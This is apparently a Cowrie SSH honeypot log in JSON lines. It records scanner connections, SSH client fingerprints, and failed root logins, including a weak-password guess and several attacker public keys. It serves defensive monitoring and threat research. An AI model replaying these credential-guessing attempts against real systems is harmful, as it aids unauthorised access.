{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:52.589259Z","src_ip":"147.185.132.60","session":"ed5460983c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:53.447137Z","src_ip":"147.185.132.60","session":"ed5460983c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:01.390933Z","src_ip":"147.185.132.60","session":"ed5460983c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":50992,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb670a0e9b25","protocol":"ssh","message":"New connection: 91.92.40.11:50992 (10.17.0.5:22) [session: bb670a0e9b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:09.945343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:10.055012Z","src_ip":"91.92.40.11","session":"bb670a0e9b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:10.060258Z","src_ip":"91.92.40.11","session":"bb670a0e9b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:11.088100Z","src_ip":"91.92.40.11","session":"bb670a0e9b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:12.285550Z","src_ip":"91.92.40.11","session":"bb670a0e9b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.115","src_port":47674,"dst_ip":"10.17.0.5","dst_port":22,"session":"738f0561dc18","protocol":"ssh","message":"New connection: 191.101.33.115:47674 (10.17.0.5:22) [session: 738f0561dc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.025140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.028384Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.054864Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:9c:76:03:da:8a:02:02:f1:05:21:62:8b:0a:78:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzSnCZNIQ3CXbxETZIzjKGyz1BvdN8q+FQ/S0HjczJHnR2jsGAiMjjNae8cNimbUoFzXjxVbdpgWC7q3qwIG7zoYqHj8JKHmd/nRNhD3App84WoSeAP0IQb3odGrLfByUfIadshcf4JMjoDeqqK6+w9kRbHkFCaU+SNYR+/PBAYIS2D4WAGudBOUHpj1S4gX2UgeNnLq5iUZZ0lMoqZef6tgWJvt/fWrIWlfLsYn86X4xzGJS6aPJVUI2frzb/VGLRAHqtIKWFXc9XH/CHzw9r2qgGdTqRfFePgdZrBgjmISHvUpGj+oZ072Oxr86H5URY89UrZZUVe431Cqj5uVxP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:9c:76:03:da:8a:02:02:f1:05:21:62:8b:0a:78:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.169466Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:9c:76:03:da:8a:02:02:f1:05:21:62:8b:0a:78:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzSnCZNIQ3CXbxETZIzjKGyz1BvdN8q+FQ/S0HjczJHnR2jsGAiMjjNae8cNimbUoFzXjxVbdpgWC7q3qwIG7zoYqHj8JKHmd/nRNhD3App84WoSeAP0IQb3odGrLfByUfIadshcf4JMjoDeqqK6+w9kRbHkFCaU+SNYR+/PBAYIS2D4WAGudBOUHpj1S4gX2UgeNnLq5iUZZ0lMoqZef6tgWJvt/fWrIWlfLsYn86X4xzGJS6aPJVUI2frzb/VGLRAHqtIKWFXc9XH/CHzw9r2qgGdTqRfFePgdZrBgjmISHvUpGj+oZ072Oxr86H5URY89UrZZUVe431Cqj5uVxP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.171567Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:25:66:21:ae:84:aa:26:d4:08:86:71:19:2b:cd:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQDDyvewb3B5iDdvU6YAbiTgD6nNAIxeYqP8kG6lZbRzB3/5cxvkxpM0ZjLxB8qv+10FCEBryroQ7s2MSawF4SALYQ30hkS3EA4AOKaP7SULXcca8etd8dHVoGR0Ca0pfn3cC7FQAkNEH4ad+Gw2KaTBxuWzSuhZ5Nrvx/1jO8vXhB0wYB4PVtx7u+ooW58bzve+WIX7ckWmaJ62744hUe01YfzZ+kKde1miWOu7kfQmKPz8PSEkvelonmG6KlBWCrbaJtXdXDTmQQu7pUvSMOO3oKsuhUUyixCAjibmh2VRKFUKdadr+xioC7P5tdt0UVu6+OOnkFr5nieeGffzqVCtCA/MEAri+0JBRljI+1ulLXhmjmNWeqwStt2YYATSIT2CU6YCBvk56oqUAIkxBLVHzB1xmgJfj7cr7SKgZSunWjkhQXTAoRFglUxDz4tlhwWtoRv3POwG+Q2e3Amrty5niTAsJNZhSS6p1IN+15j49IFHcEddDiY23xlscsEMqgmvFE2pCIYZ31WBFGXJz6lWWju9JGuNFKFdVfA6j/bmk2ZTFfwDM2iqpAEddS/8xYp/hYsIqYQQwmdSTZ7FGq+GCm9JJWwU7oU80+jRnhW83knifemtP8fDLWFscM0j+RMpMUWWER1+pTLrL4C1AznMd69PcFMCS+nHXHbZRvQRot1OGJnGFIkfEolQ8enRP67cdbBNcHafmGlAJF4nrNMrxa9gLVJJD56me8TBpqTyfPpj55PJwSBkDyzlvrZhhTa3/sYGzjTEp7zFknt8NGEGPQrFe/DS77Px0PLOHJJiT0lqLAA/g85HjOuZxIhLIgbEIEmZd4v1FQpGDSer2xG+Em6fYeTY/M3n82KEFwbM2ndinkO23ed89ErEA7vEArocvD6K8FNx9jqjbWYku3XDUguKZz29sROvZ3K630mO1C/n36N1JKVrA+CkOg/3+guDfK0HGu92hCAtaFFz2ESLGUP8M/tKn/5BxU92yC+X2dA/ONSVlqtZgYuniWftP/+a7Q63LTJUfNLcHW++mjqjjb576c5BNPr5dhMKQ83YeSs4LRziTNQQgRF4LRYJ3ho6wo0y73DQAoi4/OSqy0du4fu7N5D0GIJSShRgYNAlGBAicxAUK209z9tQiuewL3wItj+OpUyb44wxEtdJDVjb5rCWNOJ83xR1nUfQt+cldEFho9XJPHcvmRm16JRWiWsbVLUIbCBs74ELhoE6albddmJ6pgmacLJOkjG9kqiDvM8s3m95IoRlguKoRx6a7OZQAaIV9MAA7ttqjPMn6RImhE7f8x4qY9JsNR0ckk9A//a4jX8SrEpVWIbnjtoILkXYXsHpfphV0rjCnRItrFnt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:25:66:21:ae:84:aa:26:d4:08:86:71:19:2b:cd:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.198949Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:25:66:21:ae:84:aa:26:d4:08:86:71:19:2b:cd:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQDDyvewb3B5iDdvU6YAbiTgD6nNAIxeYqP8kG6lZbRzB3/5cxvkxpM0ZjLxB8qv+10FCEBryroQ7s2MSawF4SALYQ30hkS3EA4AOKaP7SULXcca8etd8dHVoGR0Ca0pfn3cC7FQAkNEH4ad+Gw2KaTBxuWzSuhZ5Nrvx/1jO8vXhB0wYB4PVtx7u+ooW58bzve+WIX7ckWmaJ62744hUe01YfzZ+kKde1miWOu7kfQmKPz8PSEkvelonmG6KlBWCrbaJtXdXDTmQQu7pUvSMOO3oKsuhUUyixCAjibmh2VRKFUKdadr+xioC7P5tdt0UVu6+OOnkFr5nieeGffzqVCtCA/MEAri+0JBRljI+1ulLXhmjmNWeqwStt2YYATSIT2CU6YCBvk56oqUAIkxBLVHzB1xmgJfj7cr7SKgZSunWjkhQXTAoRFglUxDz4tlhwWtoRv3POwG+Q2e3Amrty5niTAsJNZhSS6p1IN+15j49IFHcEddDiY23xlscsEMqgmvFE2pCIYZ31WBFGXJz6lWWju9JGuNFKFdVfA6j/bmk2ZTFfwDM2iqpAEddS/8xYp/hYsIqYQQwmdSTZ7FGq+GCm9JJWwU7oU80+jRnhW83knifemtP8fDLWFscM0j+RMpMUWWER1+pTLrL4C1AznMd69PcFMCS+nHXHbZRvQRot1OGJnGFIkfEolQ8enRP67cdbBNcHafmGlAJF4nrNMrxa9gLVJJD56me8TBpqTyfPpj55PJwSBkDyzlvrZhhTa3/sYGzjTEp7zFknt8NGEGPQrFe/DS77Px0PLOHJJiT0lqLAA/g85HjOuZxIhLIgbEIEmZd4v1FQpGDSer2xG+Em6fYeTY/M3n82KEFwbM2ndinkO23ed89ErEA7vEArocvD6K8FNx9jqjbWYku3XDUguKZz29sROvZ3K630mO1C/n36N1JKVrA+CkOg/3+guDfK0HGu92hCAtaFFz2ESLGUP8M/tKn/5BxU92yC+X2dA/ONSVlqtZgYuniWftP/+a7Q63LTJUfNLcHW++mjqjjb576c5BNPr5dhMKQ83YeSs4LRziTNQQgRF4LRYJ3ho6wo0y73DQAoi4/OSqy0du4fu7N5D0GIJSShRgYNAlGBAicxAUK209z9tQiuewL3wItj+OpUyb44wxEtdJDVjb5rCWNOJ83xR1nUfQt+cldEFho9XJPHcvmRm16JRWiWsbVLUIbCBs74ELhoE6albddmJ6pgmacLJOkjG9kqiDvM8s3m95IoRlguKoRx6a7OZQAaIV9MAA7ttqjPMn6RImhE7f8x4qY9JsNR0ckk9A//a4jX8SrEpVWIbnjtoILkXYXsHpfphV0rjCnRItrFnt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.201052Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:88:4e:b6:63:73:7e:84:f9:d4:a8:0a:ca:7a:c4:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUw1yt9XSa3dQZkFTGlzjQeQNak8/F0MmtrxPiu1q/IUo/vX7md7RDM308PGAhzn9W4i4RR1eJ5/TjZhMhb2uLVKhz+HyVFY2ylVaEa5i8GLO0Qegwl0mJNmGTVcQCXgLZ7ATV+Cxznm/NCkTrVk0ZEdPaWkhcX1H3/Zatdb2dAYWevA48uvQudsQpfG6WSepFWL34RCw91Cqb9phmqhDKviPmVz/TK2TX8nykrMgnTnqrv0aHFy92OUvVfQ6kzib6SQTBJ0jWU+OGgts42O/Obgw4qhcUZoqeG3D5+DBjEtrlP4v37yPOEk0SLjz5bKXm+76KjGHQDb7HpjnuEdZwHvdId1ymatbdLDw6E2G12iEw0yMg4D0TIpRFRNr1CtGpBMd+Q6wKJoLCvr2iR/8tUrZk1C5Fmd+Q/gFERISs2UslJj9at8RRaNcqBKgK7PxOS8bMShVp+7RcX9NxU0Jj7Z7GbgEK7q2ysKEwjJoQcDEnMMmES0XVATbY2Q2ueED/BwtsPfiZm+KOwdsgmGD1UKwTCQib+1Us93YPsjV3ei6TVuKLcUGsBZlwBihoaZs0RrCW7XWjLE30v91SczyeKF3uURgKeg7dlT1mB/+hUAQ1bGxajHf1b46TyDnmjsHqn2w9hJ7tJ+T8EGUMrQR/p5cADgbXSHCMe04cIHsV1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:88:4e:b6:63:73:7e:84:f9:d4:a8:0a:ca:7a:c4:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.227384Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:88:4e:b6:63:73:7e:84:f9:d4:a8:0a:ca:7a:c4:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUw1yt9XSa3dQZkFTGlzjQeQNak8/F0MmtrxPiu1q/IUo/vX7md7RDM308PGAhzn9W4i4RR1eJ5/TjZhMhb2uLVKhz+HyVFY2ylVaEa5i8GLO0Qegwl0mJNmGTVcQCXgLZ7ATV+Cxznm/NCkTrVk0ZEdPaWkhcX1H3/Zatdb2dAYWevA48uvQudsQpfG6WSepFWL34RCw91Cqb9phmqhDKviPmVz/TK2TX8nykrMgnTnqrv0aHFy92OUvVfQ6kzib6SQTBJ0jWU+OGgts42O/Obgw4qhcUZoqeG3D5+DBjEtrlP4v37yPOEk0SLjz5bKXm+76KjGHQDb7HpjnuEdZwHvdId1ymatbdLDw6E2G12iEw0yMg4D0TIpRFRNr1CtGpBMd+Q6wKJoLCvr2iR/8tUrZk1C5Fmd+Q/gFERISs2UslJj9at8RRaNcqBKgK7PxOS8bMShVp+7RcX9NxU0Jj7Z7GbgEK7q2ysKEwjJoQcDEnMMmES0XVATbY2Q2ueED/BwtsPfiZm+KOwdsgmGD1UKwTCQib+1Us93YPsjV3ei6TVuKLcUGsBZlwBihoaZs0RrCW7XWjLE30v91SczyeKF3uURgKeg7dlT1mB/+hUAQ1bGxajHf1b46TyDnmjsHqn2w9hJ7tJ+T8EGUMrQR/p5cADgbXSHCMe04cIHsV1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.229675Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:fb:72:6f:3c:d3:0d:6a:e1:8d:ba:d8:11:32:b6:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1I/AOc+i8/muhcJcMFpeglm+qmxs5l7Irlwqlubvq0B6H4ilrbKkyrLr2PbPIiPogLWo24cYZJn4EYf7hueVouQ1vUG7Q3knYwSI17vktM40z8OnOESo9+gvxqe35/7U1SGONpBtNSPIlojXHyitNXaHWb33k4CaRKdsPhdykst01xqWtzs5pmssfNx8CuyO0AKEMEwzwCo68ka0FA9ZFzYU2wb2ZIwVHkWnTvSzQ9EzU+coIFspoTf3f7vg14PsmMr1cOK/i3HJu2FotAQ+AcD916fn9LLwWoxz4nfqhHpqyBRDo4bcCTItk7fcn8bmQCGiFWLaNapjKiQnwE711","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:fb:72:6f:3c:d3:0d:6a:e1:8d:ba:d8:11:32:b6:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.255624Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:fb:72:6f:3c:d3:0d:6a:e1:8d:ba:d8:11:32:b6:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1I/AOc+i8/muhcJcMFpeglm+qmxs5l7Irlwqlubvq0B6H4ilrbKkyrLr2PbPIiPogLWo24cYZJn4EYf7hueVouQ1vUG7Q3knYwSI17vktM40z8OnOESo9+gvxqe35/7U1SGONpBtNSPIlojXHyitNXaHWb33k4CaRKdsPhdykst01xqWtzs5pmssfNx8CuyO0AKEMEwzwCo68ka0FA9ZFzYU2wb2ZIwVHkWnTvSzQ9EzU+coIFspoTf3f7vg14PsmMr1cOK/i3HJu2FotAQ+AcD916fn9LLwWoxz4nfqhHpqyBRDo4bcCTItk7fcn8bmQCGiFWLaNapjKiQnwE711","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.257468Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:9e:c8:e8:8a:19:43:86:55:08:a0:16:a7:b7:f9:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzx68TJMOdDOncWl3CAYxEobpBraSR9TlKYL59F+3axgSBca/iYuWXg0IsIioFqQJPdATZ51VN+YBkr8OZhMnyrVSM3j0RFKuHlrN9I074tKg/xS58dGAlX/tBH1k556wyfFwhUcAFupcz+hLT4HTa61d2zGYbbhPXBaMB/0WhxrHGhyGBzdRQdK7l+aj/DQFR51h4yhl8jxtPl3haF1xF5gg9FpKyliSuuMtaHFJifOYNfHre2KFutBWdtX1jC52yALSQ/NUk+tqtSAdnXmXu/IWnYrv2UIoymusvb1+EYVjG0ZGOrO6wbZf94j+AwHyHg62MXvW5ZOJqN81BP36sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:9e:c8:e8:8a:19:43:86:55:08:a0:16:a7:b7:f9:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.286735Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:9e:c8:e8:8a:19:43:86:55:08:a0:16:a7:b7:f9:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzx68TJMOdDOncWl3CAYxEobpBraSR9TlKYL59F+3axgSBca/iYuWXg0IsIioFqQJPdATZ51VN+YBkr8OZhMnyrVSM3j0RFKuHlrN9I074tKg/xS58dGAlX/tBH1k556wyfFwhUcAFupcz+hLT4HTa61d2zGYbbhPXBaMB/0WhxrHGhyGBzdRQdK7l+aj/DQFR51h4yhl8jxtPl3haF1xF5gg9FpKyliSuuMtaHFJifOYNfHre2KFutBWdtX1jC52yALSQ/NUk+tqtSAdnXmXu/IWnYrv2UIoymusvb1+EYVjG0ZGOrO6wbZf94j+AwHyHg62MXvW5ZOJqN81BP36sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.289130Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:34.314742Z","src_ip":"191.101.33.115","session":"738f0561dc18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.222.22.180","src_port":58066,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b7507a78d6","protocol":"ssh","message":"New connection: 92.222.22.180:58066 (10.17.0.5:22) [session: 37b7507a78d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:35.121474Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:21:35.214697Z","src_ip":"92.222.22.180","session":"37b7507a78d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36158,"dst_ip":"159.203.135.109","dst_port":22,"session":"36999a8ab1ad","protocol":"ssh","message":"New connection: 194.59.206.2:36158 (159.203.135.109:22) [session: 36999a8ab1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:00.373991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:00.377610Z","src_ip":"194.59.206.2","session":"36999a8ab1ad","protocol":"ssh"}
